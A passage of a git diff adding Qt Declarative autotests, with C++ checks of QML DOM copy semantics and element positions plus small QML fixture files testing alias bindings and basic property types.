+ QCOMPARE(import.qualifier(), import3.qualifier());
+ }
+
+ // QDeclarativeDomObject
+ {
+ QDeclarativeDomObject object = document.rootObject();
+ QVERIFY(object.isValid());
+
+ QDeclarativeDomObject object2(object);
+ QDeclarativeDomObject object3;
+ object3 = object;
+
+ QCOMPARE(object.isValid(), object2.isValid());
+ QCOMPARE(object.objectType(), object2.objectType());
+ QCOMPARE(object.objectClassName(), object2.objectClassName());
+ QCOMPARE(object.objectTypeMajorVersion(), object2.objectTypeMajorVersion());
+ QCOMPARE(object.objectTypeMinorVersion(), object2.objectTypeMinorVersion());
+ QCOMPARE(object.objectId(), object2.objectId());
+ QCOMPARE(object.properties().count(), object2.properties().count());
+ QCOMPARE(object.dynamicProperties().count(), object2.dynamicProperties().count());
+ QCOMPARE(object.isCustomType(), object2.isCustomType());
+ QCOMPARE(object.customTypeData(), object2.customTypeData());
+ QCOMPARE(object.isComponent(), object2.isComponent());
+ QCOMPARE(object.position(), object2.position());
+ QCOMPARE(object.length(), object2.length());
+ QCOMPARE(object.url(), object2.url());
+
+ QCOMPARE(object.isValid(), object3.isValid());
+ QCOMPARE(object.objectType(), object3.objectType());
+ QCOMPARE(object.objectClassName(), object3.objectClassName());
+ QCOMPARE(object.objectTypeMajorVersion(), object3.objectTypeMajorVersion());
+ QCOMPARE(object.objectTypeMinorVersion(), object3.objectTypeMinorVersion());
+ QCOMPARE(object.objectId(), object3.objectId());
+ QCOMPARE(object.properties().count(), object3.properties().count());
+ QCOMPARE(object.dynamicProperties().count(), object3.dynamicProperties().count());
+ QCOMPARE(object.isCustomType(), object3.isCustomType());
+ QCOMPARE(object.customTypeData(), object3.customTypeData());
+ QCOMPARE(object.isComponent(), object3.isComponent());
+ QCOMPARE(object.position(), object3.position());
+ QCOMPARE(object.length(), object3.length());
+ QCOMPARE(object.url(), object3.url());
+ }
+
+ // QDeclarativeDomDynamicProperty
+ {
+ QDeclarativeDomObject object = document.rootObject();
+ QDeclarativeDomDynamicProperty property = object.dynamicProperty("a");
+
+ QDeclarativeDomDynamicProperty property2(property);
+ QDeclarativeDomDynamicProperty property3;
+ property3 = property;
+
+ QCOMPARE(property.isValid(), property2.isValid());
+ QCOMPARE(property.propertyName(), property2.propertyName());
+ QCOMPARE(property.propertyType(), property2.propertyType());
+ QCOMPARE(property.propertyTypeName(), property2.propertyTypeName());
+ QCOMPARE(property.isDefaultProperty(), property2.isDefaultProperty());
+ QCOMPARE(property.defaultValue().propertyName(), property2.defaultValue().propertyName());
+ QCOMPARE(property.position(), property2.position());
+ QCOMPARE(property.length(), property2.length());
+
+ QCOMPARE(property.isValid(), property3.isValid());
+ QCOMPARE(property.propertyName(), property3.propertyName());
+ QCOMPARE(property.propertyType(), property3.propertyType());
+ QCOMPARE(property.propertyTypeName(), property3.propertyTypeName());
+ QCOMPARE(property.isDefaultProperty(), property3.isDefaultProperty());
+ QCOMPARE(property.defaultValue().propertyName(), property3.defaultValue().propertyName());
+ QCOMPARE(property.position(), property3.position());
+ QCOMPARE(property.length(), property3.length());
+ }
+
+ // QDeclarativeDomProperty
+ {
+ QDeclarativeDomObject object = document.rootObject();
+ QDeclarativeDomProperty property = object.property("opacity");
+
+ QDeclarativeDomProperty property2(property);
+ QDeclarativeDomProperty property3;
+ property3 = property;
+
+ QCOMPARE(property.isValid(), property2.isValid());
+ QCOMPARE(property.propertyName(), property2.propertyName());
+ QCOMPARE(property.propertyNameParts(), property2.propertyNameParts());
+ QCOMPARE(property.isDefaultProperty(), property2.isDefaultProperty());
+ QCOMPARE(property.value().type(), property2.value().type());
+ QCOMPARE(property.position(), property2.position());
+ QCOMPARE(property.length(), property2.length());
+
+ QCOMPARE(property.isValid(), property3.isValid());
+ QCOMPARE(property.propertyName(), property3.propertyName());
+ QCOMPARE(property.propertyNameParts(), property3.propertyNameParts());
+ QCOMPARE(property.isDefaultProperty(), property3.isDefaultProperty());
+ QCOMPARE(property.value().type(), property3.value().type());
+ QCOMPARE(property.position(), property3.position());
+ QCOMPARE(property.length(), property3.length());
+ }
+
+ // QDeclarativeDomValueLiteral
+ {
+ QDeclarativeDomObject object = document.rootObject();
+ QDeclarativeDomProperty property = object.property("x");
+ QDeclarativeDomValueLiteral literal = property.value().toLiteral();
+ QCOMPARE(literal.literal(), QString("10"));
+
+ QDeclarativeDomValueLiteral literal2(literal);
+ QDeclarativeDomValueLiteral literal3;
+ literal3 = literal2;
+
+ QCOMPARE(literal2.literal(), QString("10"));
+ QCOMPARE(literal3.literal(), QString("10"));
+ }
+
+
+ // QDeclarativeDomValueBinding
+ {
+ QDeclarativeDomObject object = document.rootObject();
+ QDeclarativeDomProperty property = object.property("y");
+ QDeclarativeDomValueBinding binding = property.value().toBinding();
+ QCOMPARE(binding.binding(), QString("x + 10"));
+
+ QDeclarativeDomValueBinding binding2(binding);
+ QDeclarativeDomValueBinding binding3;
+ binding3 = binding2;
+
+ QCOMPARE(binding2.binding(), QString("x + 10"));
+ QCOMPARE(binding3.binding(), QString("x + 10"));
+ }
+
+ // QDeclarativeDomValueValueSource
+ {
+ QDeclarativeDomObject object = document.rootObject();
+ QDeclarativeDomProperty property = object.property("z");
+ QDeclarativeDomValueValueSource source = property.value().toValueSource();
+ QCOMPARE(source.object().objectClassName(), QByteArray("NumberAnimation"));
+
+ QDeclarativeDomValueValueSource source2(source);
+ QDeclarativeDomValueValueSource source3;
+ source3 = source;
+
+ QCOMPARE(source2.object().objectClassName(), QByteArray("NumberAnimation"));
+ QCOMPARE(source3.object().objectClassName(), QByteArray("NumberAnimation"));
+ }
+
+ // QDeclarativeDomValueValueInterceptor
+ {
+ QDeclarativeDomObject object = document.rootObject();
+ QDeclarativeDomProperty property = object.property("opacity");
+ QDeclarativeDomValueValueInterceptor interceptor = property.value().toValueInterceptor();
+ QCOMPARE(interceptor.object().objectClassName(), QByteArray("Behavior"));
+
+ QDeclarativeDomValueValueInterceptor interceptor2(interceptor);
+ QDeclarativeDomValueValueInterceptor interceptor3;
+ interceptor3 = interceptor;
+
+ QCOMPARE(interceptor2.object().objectClassName(), QByteArray("Behavior"));
+ QCOMPARE(interceptor3.object().objectClassName(), QByteArray("Behavior"));
+ }
+
+ // QDeclarativeDomComponent
+ {
+ QDeclarativeDomObject object = document.rootObject();
+ QDeclarativeDomProperty property = object.property("data");
+ QCOMPARE(property.value().toList().values().count(), 1);
+ QDeclarativeDomComponent component =
+ property.value().toList().values().at(0).toObject().toComponent();
+ QCOMPARE(component.componentRoot().objectClassName(), QByteArray("Item"));
+
+ QDeclarativeDomComponent component2(component);
+ QDeclarativeDomComponent component3;
+ component3 = component;
+
+ QCOMPARE(component.componentRoot().objectClassName(), component2.componentRoot().objectClassName());
+ QCOMPARE(component.isValid(), component2.isValid());
+ QCOMPARE(component.objectType(), component2.objectType());
+ QCOMPARE(component.objectClassName(), component2.objectClassName());
+ QCOMPARE(component.objectTypeMajorVersion(), component2.objectTypeMajorVersion());
+ QCOMPARE(component.objectTypeMinorVersion(), component2.objectTypeMinorVersion());
+ QCOMPARE(component.objectId(), component2.objectId());
+ QCOMPARE(component.properties().count(), component2.properties().count());
+ QCOMPARE(component.dynamicProperties().count(), component2.dynamicProperties().count());
+ QCOMPARE(component.isCustomType(), component2.isCustomType());
+ QCOMPARE(component.customTypeData(), component2.customTypeData());
+ QCOMPARE(component.isComponent(), component2.isComponent());
+ QCOMPARE(component.position(), component2.position());
+ QCOMPARE(component.length(), component2.length());
+ QCOMPARE(component.url(), component2.url());
+
+ QCOMPARE(component.componentRoot().objectClassName(), component3.componentRoot().objectClassName());
+ QCOMPARE(component.isValid(), component3.isValid());
+ QCOMPARE(component.objectType(), component3.objectType());
+ QCOMPARE(component.objectClassName(), component3.objectClassName());
+ QCOMPARE(component.objectTypeMajorVersion(), component3.objectTypeMajorVersion());
+ QCOMPARE(component.objectTypeMinorVersion(), component3.objectTypeMinorVersion());
+ QCOMPARE(component.objectId(), component3.objectId());
+ QCOMPARE(component.properties().count(), component3.properties().count());
+ QCOMPARE(component.dynamicProperties().count(), component3.dynamicProperties().count());
+ QCOMPARE(component.isCustomType(), component3.isCustomType());
+ QCOMPARE(component.customTypeData(), component3.customTypeData());
+ QCOMPARE(component.isComponent(), component3.isComponent());
+ QCOMPARE(component.position(), component3.position());
+ QCOMPARE(component.length(), component3.length());
+ QCOMPARE(component.url(), component3.url());
+ }
+
+ // QDeclarativeDomValue
+ {
+ QDeclarativeDomObject object = document.rootObject();
+ QDeclarativeDomProperty property = object.property("data");
+ QDeclarativeDomValue value = property.value();
+
+ QDeclarativeDomValue value2(value);
+ QDeclarativeDomValue value3;
+ value3 = value;
+
+ QCOMPARE(value.type(), value2.type());
+ QCOMPARE(value.isInvalid(), value2.isInvalid());
+ QCOMPARE(value.isLiteral(), value2.isLiteral());
+ QCOMPARE(value.isBinding(), value2.isBinding());
+ QCOMPARE(value.isValueSource(), value2.isValueSource());
+ QCOMPARE(value.isValueInterceptor(), value2.isValueInterceptor());
+ QCOMPARE(value.isObject(), value2.isObject());
+ QCOMPARE(value.isList(), value2.isList());
+ QCOMPARE(value.position(), value2.position());
+ QCOMPARE(value.length(), value2.length());
+
+ QCOMPARE(value.type(), value3.type());
+ QCOMPARE(value.isInvalid(), value3.isInvalid());
+ QCOMPARE(value.isLiteral(), value3.isLiteral());
+ QCOMPARE(value.isBinding(), value3.isBinding());
+ QCOMPARE(value.isValueSource(), value3.isValueSource());
+ QCOMPARE(value.isValueInterceptor(), value3.isValueInterceptor());
+ QCOMPARE(value.isObject(), value3.isObject());
+ QCOMPARE(value.isList(), value3.isList());
+ QCOMPARE(value.position(), value3.position());
+ QCOMPARE(value.length(), value3.length());
+ }
+ {
+ QDeclarativeDomObject object = document.rootObject();
+ QDeclarativeDomProperty property = object.property("x");
+ QDeclarativeDomValue value = property.value();
+
+ QDeclarativeDomValue value2(value);
+ QDeclarativeDomValue value3;
+ value3 = value;
+
+ QCOMPARE(value.type(), value2.type());
+ QCOMPARE(value.isInvalid(), value2.isInvalid());
+ QCOMPARE(value.isLiteral(), value2.isLiteral());
+ QCOMPARE(value.isBinding(), value2.isBinding());
+ QCOMPARE(value.isValueSource(), value2.isValueSource());
+ QCOMPARE(value.isValueInterceptor(), value2.isValueInterceptor());
+ QCOMPARE(value.isObject(), value2.isObject());
+ QCOMPARE(value.isList(), value2.isList());
+ QCOMPARE(value.position(), value2.position());
+ QCOMPARE(value.length(), value2.length());
+
+ QCOMPARE(value.type(), value3.type());
+ QCOMPARE(value.isInvalid(), value3.isInvalid());
+ QCOMPARE(value.isLiteral(), value3.isLiteral());
+ QCOMPARE(value.isBinding(), value3.isBinding());
+ QCOMPARE(value.isValueSource(), value3.isValueSource());
+ QCOMPARE(value.isValueInterceptor(), value3.isValueInterceptor());
+ QCOMPARE(value.isObject(), value3.isObject());
+ QCOMPARE(value.isList(), value3.isList());
+ QCOMPARE(value.position(), value3.position());
+ QCOMPARE(value.length(), value3.length());
+ }
+ {
+ QDeclarativeDomValue value;
+
+ QDeclarativeDomValue value2(value);
+ QDeclarativeDomValue value3;
+ value3 = value;
+
+ QCOMPARE(value.type(), value2.type());
+ QCOMPARE(value.isInvalid(), value2.isInvalid());
+ QCOMPARE(value.isLiteral(), value2.isLiteral());
+ QCOMPARE(value.isBinding(), value2.isBinding());
+ QCOMPARE(value.isValueSource(), value2.isValueSource());
+ QCOMPARE(value.isValueInterceptor(), value2.isValueInterceptor());
+ QCOMPARE(value.isObject(), value2.isObject());
+ QCOMPARE(value.isList(), value2.isList());
+ QCOMPARE(value.position(), value2.position());
+ QCOMPARE(value.length(), value2.length());
+
+ QCOMPARE(value.type(), value3.type());
+ QCOMPARE(value.isInvalid(), value3.isInvalid());
+ QCOMPARE(value.isLiteral(), value3.isLiteral());
+ QCOMPARE(value.isBinding(), value3.isBinding());
+ QCOMPARE(value.isValueSource(), value3.isValueSource());
+ QCOMPARE(value.isValueInterceptor(), value3.isValueInterceptor());
+ QCOMPARE(value.isObject(), value3.isObject());
+ QCOMPARE(value.isList(), value3.isList());
+ QCOMPARE(value.position(), value3.position());
+ QCOMPARE(value.length(), value3.length());
+ }
+
+ // QDeclarativeDomList
+ {
+ QDeclarativeDomObject object = document.rootObject();
+ QDeclarativeDomProperty property = object.property("children");
+ QDeclarativeDomList list = property.value().toList();
+ QCOMPARE(list.values().count(), 2);
+
+ QDeclarativeDomList list2(list);
+ QDeclarativeDomList list3;
+ list3 = list2;
+
+ QCOMPARE(list.values().count(), list2.values().count());
+ QCOMPARE(list.position(), list2.position());
+ QCOMPARE(list.length(), list2.length());
+ QCOMPARE(list.commaPositions(), list2.commaPositions());
+
+ QCOMPARE(list.values().count(), list3.values().count());
+ QCOMPARE(list.position(), list3.position());
+ QCOMPARE(list.length(), list3.length());
+ QCOMPARE(list.commaPositions(), list3.commaPositions());
+
+ }
+}
+
+// Tests the position/length of various elements
+void tst_qdeclarativedom::position()
+{
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item {\n"
+ " id: myItem\n"
+ " property int a: 10\n"
+ " x: 10\n"
+ " y: x + 10\n"
+ " NumberAnimation on z {}\n"
+ " Behavior on opacity {}\n"
+ " Component {\n"
+ " Item{}\n"
+ " }\n"
+ " children: [ Item{}, Item{} ]\n"
+ "}\n";
+
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject root = document.rootObject();
+
+ // All QDeclarativeDomDynamicProperty
+ QDeclarativeDomDynamicProperty dynProp = root.dynamicProperty("a");
+ QCOMPARE(dynProp.position(), 45);
+ QCOMPARE(dynProp.length(), 18);
+
+ // All QDeclarativeDomProperty
+ QDeclarativeDomProperty x = root.property("x");
+ QCOMPARE(x.position(), 68);
+ QCOMPARE(x.length(), 1);
+
+ QDeclarativeDomProperty y = root.property("y");
+ QCOMPARE(y.position(), 78);
+ QCOMPARE(y.length(), 1);
+
+ QDeclarativeDomProperty z = root.property("z");
+ QCOMPARE(z.position(), 111);
+ QCOMPARE(z.length(), 1);
+
+ QDeclarativeDomProperty opacity = root.property("opacity");
+ QCOMPARE(opacity.position(), 132);
+ QCOMPARE(opacity.length(), 7);
+
+ QDeclarativeDomProperty data = root.property("data");
+ QCOMPARE(data.position(), 147);
+ QCOMPARE(data.length(), 0);
+
+ QDeclarativeDomProperty children = root.property("children");
+ QCOMPARE(children.position(), 184);
+ QCOMPARE(children.length(), 8);
+
+ QDeclarativeDomList dataList = data.value().toList();
+ QCOMPARE(dataList.values().count(), 1);
+ QDeclarativeDomList childrenList = children.value().toList();
+ QCOMPARE(childrenList.values().count(), 2);
+
+ // All QDeclarativeDomObject
+ QCOMPARE(root.position(), 19);
+ QCOMPARE(root.length(), 195);
+
+ QDeclarativeDomObject numberAnimation = z.value().toValueSource().object();
+ QCOMPARE(numberAnimation.position(), 92);
+ QCOMPARE(numberAnimation.length(), 23);
+
+ QDeclarativeDomObject behavior = opacity.value().toValueInterceptor().object();
+ QCOMPARE(behavior.position(), 120);
+ QCOMPARE(behavior.length(), 22);
+
+ QDeclarativeDomObject component = dataList.values().at(0).toObject();
+ QCOMPARE(component.position(), 147);
+ QCOMPARE(component.length(), 32);
+
+ QDeclarativeDomObject componentRoot = component.toComponent().componentRoot();
+ QCOMPARE(componentRoot.position(), 167);
+ QCOMPARE(componentRoot.length(), 6);
+
+ QDeclarativeDomObject child1 = childrenList.values().at(0).toObject();
+ QCOMPARE(child1.position(), 196);
+ QCOMPARE(child1.length(), 6);
+
+ QDeclarativeDomObject child2 = childrenList.values().at(1).toObject();
+ QCOMPARE(child2.position(), 204);
+ QCOMPARE(child2.length(), 6);
+
+ // All QDeclarativeDomValue
+ QDeclarativeDomValue xValue = x.value();
+ QCOMPARE(xValue.position(), 71);
+ QCOMPARE(xValue.length(), 2);
+
+ QDeclarativeDomValue yValue = y.value();
+ QCOMPARE(yValue.position(), 81);
+ QCOMPARE(yValue.length(), 6);
+
+ QDeclarativeDomValue zValue = z.value();
+ QCOMPARE(zValue.position(), 92);
+ QCOMPARE(zValue.length(), 23);
+
+ QDeclarativeDomValue opacityValue = opacity.value();
+ QCOMPARE(opacityValue.position(), 120);
+ QCOMPARE(opacityValue.length(), 22);
+
+ QDeclarativeDomValue dataValue = data.value();
+ QCOMPARE(dataValue.position(), 147);
+ QCOMPARE(dataValue.length(), 32);
+
+ QDeclarativeDomValue child1Value = childrenList.values().at(0);
+ QCOMPARE(child1Value.position(), 196);
+ QCOMPARE(child1Value.length(), 6);
+
+ QDeclarativeDomValue child2Value = childrenList.values().at(1);
+ QCOMPARE(child2Value.position(), 204);
+ QCOMPARE(child2Value.length(), 6);
+
+ // All QDeclarativeDomList
+ QCOMPARE(childrenList.position(), 194);
+ QCOMPARE(childrenList.length(), 18);
+}
+
+QTEST_MAIN(tst_qdeclarativedom)
+
+#include "tst_qdeclarativedom.moc"
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/AliasBindingsAssignCorrectlyType.qml b/tests/auto/declarative/qdeclarativeecmascript/data/AliasBindingsAssignCorrectlyType.qml
new file mode 100644
index 00000000..0eda67d5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/AliasBindingsAssignCorrectlyType.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+QtObject {
+ id: root
+
+ property real realProperty
+ property alias aliasProperty: root.realProperty
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/AliasBindingsOverrideTargetType.qml b/tests/auto/declarative/qdeclarativeecmascript/data/AliasBindingsOverrideTargetType.qml
new file mode 100644
index 00000000..f539fb62
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/AliasBindingsOverrideTargetType.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyTypeObject {
+ id: root
+
+ property int data: 7
+
+ property int targetProperty: root.data * 43 - root.data
+ property alias aliasProperty: root.targetProperty
+
+ pointProperty: Qt.point(data, data);
+ property alias pointAliasProperty: root.pointProperty
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/AliasBindingsOverrideTargetType3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/AliasBindingsOverrideTargetType3.qml
new file mode 100644
index 00000000..a4b05274
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/AliasBindingsOverrideTargetType3.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+QtObject {
+ id: root
+
+ property int testProperty
+ property alias aliasProperty: root.testProperty
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/ConstantsOverrideBindings.qml b/tests/auto/declarative/qdeclarativeecmascript/data/ConstantsOverrideBindings.qml
new file mode 100644
index 00000000..07bb16b0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/ConstantsOverrideBindings.qml
@@ -0,0 +1,12 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ property int c1: 0
+ property int c2: c1
+ property alias c3: inner.ic1
+
+ objectProperty: MyQmlObject {
+ id: inner
+ property int ic1: c1
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/CustomObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/CustomObject.qml
new file mode 100644
index 00000000..4a425185
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/CustomObject.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ property string greeting: "hello world"
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/MethodsObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/MethodsObject.qml
new file mode 100644
index 00000000..829d405c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/MethodsObject.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ function testFunction() { return 19; }
+ function testFunction2() { return 18; }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/NestedTypeTransientErrors.qml b/tests/auto/declarative/qdeclarativeecmascript/data/NestedTypeTransientErrors.qml
new file mode 100644
index 00000000..f542c64a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/NestedTypeTransientErrors.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+QtObject {
+ property int b: obj.prop.a
+
+ property variant prop;
+ prop: QtObject {
+ property int a: 10
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/ScopeObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/ScopeObject.qml
new file mode 100644
index 00000000..df494af5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/ScopeObject.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+Item {
+ property int a: 3
+ property int binding: myFunction();
+ property int binding2: myCompFunction();
+
+ function myCompFunction() {
+ return a;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/SpuriousWarning.qml b/tests/auto/declarative/qdeclarativeecmascript/data/SpuriousWarning.qml
new file mode 100644
index 00000000..3427a3b2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/SpuriousWarning.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+ property int children: root.children.length
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/TypeForDynamicCreation.qml b/tests/auto/declarative/qdeclarativeecmascript/data/TypeForDynamicCreation.qml
new file mode 100644
index 00000000..56e06252
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/TypeForDynamicCreation.qml
@@ -0,0 +1,2 @@
+import Qt.test 1.0
+MyQmlObject{objectName:"objectThree"}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsAssignCorrectly.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsAssignCorrectly.qml
new file mode 100644
index 00000000..f0808c4c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsAssignCorrectly.qml
@@ -0,0 +1,59 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+
+ property bool test: false
+
+ property real testData: 9
+ property real testData2: 9
+
+ states: State {
+ name: "change"
+ PropertyChanges {
+ target: myType
+ realProperty: if (testData2 > 3) 9; else 11;
+ }
+ }
+
+ AliasBindingsAssignCorrectlyType {
+ id: myType
+
+ aliasProperty: if (testData > 3) 14; else 12;
+ }
+
+ Component.onCompleted: {
+ // Check original binding works
+ if (myType.aliasProperty != 14) return;
+
+ testData = 2;
+ if (myType.aliasProperty != 12) return;
+
+ // Change binding indirectly by modifying the "realProperty"
+ root.state = "change";
+ if (myType.aliasProperty != 9) return;
+
+ // Check the new binding works
+ testData2 = 1;
+ if (myType.aliasProperty != 11) return;
+
+ // Try and trigger the old binding (that should have been removed)
+ testData = 6;
+ if (myType.aliasProperty != 11) return;
+
+ // Restore the original binding
+ root.state = "";
+ if (myType.aliasProperty != 14) return;
+
+ // Test the restored binding works
+ testData = 0;
+ if (myType.aliasProperty != 12) return;
+
+ // Test the old binding isn't somehow hanging around and still in effect
+ testData2 = 13;
+ if (myType.aliasProperty != 12) return;
+
+ test = true;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsOverrideTarget.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsOverrideTarget.2.qml
new file mode 100644
index 00000000..4f07cbf6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsOverrideTarget.2.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Item {
+ id: me
+ property bool test: false
+
+ property int value: 9
+
+ AliasBindingsOverrideTargetType {
+ id: aliasType
+ pointAliasProperty.x: me.value
+ }
+
+ Component.onCompleted: {
+ if (aliasType.pointAliasProperty.x != 9) return;
+
+ me.value = 11;
+ if (aliasType.pointAliasProperty.x != 11) return;
+
+ aliasType.data = 8;
+ if (aliasType.pointAliasProperty.x != 11) return;
+
+ me.value = 4;
+ if (aliasType.pointAliasProperty.x != 4) return;
+
+ test = true;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsOverrideTarget.3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsOverrideTarget.3.qml
new file mode 100644
index 00000000..937ae91c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsOverrideTarget.3.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+ property bool test: false;
+
+ property int value1: 10
+ property int value2: 11
+
+ AliasBindingsOverrideTargetType3 {
+ id: obj
+
+ testProperty: root.value1 * 9
+ aliasProperty: root.value2 * 10
+ }
+
+ Component.onCompleted: {
+ if (obj.testProperty != 110) return;
+ if (obj.aliasProperty != 110) return;
+
+ test = true;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsOverrideTarget.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsOverrideTarget.qml
new file mode 100644
index 00000000..a01dc5b0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsOverrideTarget.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+
+Item {
+ id: me
+ property bool test: false
+
+ property int value: 9
+
+ AliasBindingsOverrideTargetType {
+ id: aliasType
+ aliasProperty: me.value
+ }
+
+ Component.onCompleted: {
+ if (aliasType.aliasProperty != 9) return;
+
+ me.value = 11;
+ if (aliasType.aliasProperty != 11) return;
+
+ aliasType.data = 8;
+ if (aliasType.aliasProperty != 11) return;
+
+ me.value = 4;
+ if (aliasType.aliasProperty != 4) return;
+
+ test = true;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasPropertyAndBinding.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasPropertyAndBinding.qml
new file mode 100644
index 00000000..da6c795b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasPropertyAndBinding.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyQmlObject {
+ property alias c1: myObject.c1
+ property int c2: 3
+ property int c3: c2
+ objectProperty: QtObject {
+ id: myObject
+ property int c1
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasWritesOverrideBindings.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasWritesOverrideBindings.2.qml
new file mode 100644
index 00000000..5bf9f6a2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasWritesOverrideBindings.2.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Item {
+ id: me
+ property bool test: false
+
+ property int value: 9
+
+ AliasBindingsOverrideTargetType {
+ id: aliasType
+ }
+
+ Component.onCompleted: {
+ if (aliasType.aliasProperty != 294) return;
+
+ aliasType.data = 8;
+ if (aliasType.aliasProperty != 336) return;
+
+ aliasType.aliasProperty = 4;
+ if (aliasType.aliasProperty != 4) return;
+
+ aliasType.data = 7;
+ if (aliasType.aliasProperty != 4) return;
+
+ test = true;
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasWritesOverrideBindings.3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasWritesOverrideBindings.3.qml
new file mode 100644
index 00000000..a23ad4a0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasWritesOverrideBindings.3.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+Item {
+ id: me
+ property bool test: false
+
+ property int value: 9
+
+ AliasBindingsOverrideTargetType {
+ id: aliasType
+ pointAliasProperty.x: 9
+ }
+
+ Component.onCompleted: {
+ if (aliasType.pointAliasProperty.x != 9) return;
+
+ aliasType.data = 8;
+ if (aliasType.pointAliasProperty.x != 9) return;
+
+ test = true;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasWritesOverrideBindings.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasWritesOverrideBindings.qml
new file mode 100644
index 00000000..ac203714
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasWritesOverrideBindings.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+Item {
+ id: me
+ property bool test: false
+
+ property int value: 9
+
+ AliasBindingsOverrideTargetType {
+ id: aliasType
+ aliasProperty: 11
+ }
+
+ Component.onCompleted: {
+ if (aliasType.aliasProperty != 11) return;
+
+ aliasType.data = 8;
+ if (aliasType.aliasProperty != 11) return;
+
+ test = true;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/assignBasicTypes.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/assignBasicTypes.2.qml
new file mode 100644
index 00000000..2c797296
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/assignBasicTypes.2.qml
@@ -0,0 +1,26 @@
+import Qt.test 1.0
+
+MyTypeObject {
+ flagProperty: if(1) "FlagVal1 | FlagVal3"
+ enumProperty: if(1) "EnumVal2"
+ stringProperty: if(1) "Hello World!"
+ uintProperty: if(1) 10
+ intProperty: if(1) -19
+ realProperty: if(1) 23.2
+ doubleProperty: if(1) -19.75
+ floatProperty: if(1) 8.5
+ colorProperty: if(1) "red"
+ dateProperty: if(1) "1982-11-25"
+ timeProperty: if(1) "11:11:32"
+ dateTimeProperty: if(1) "2009-05-12T13:22:01"
+ pointProperty: if(1) "99,13"
+ pointFProperty: if(1) "-10.1,12.3"
+ sizeProperty: if(1) "99x13"
+ sizeFProperty: if(1) "0.1x0.2"
+ rectProperty: if(1) "9,7,100x200"
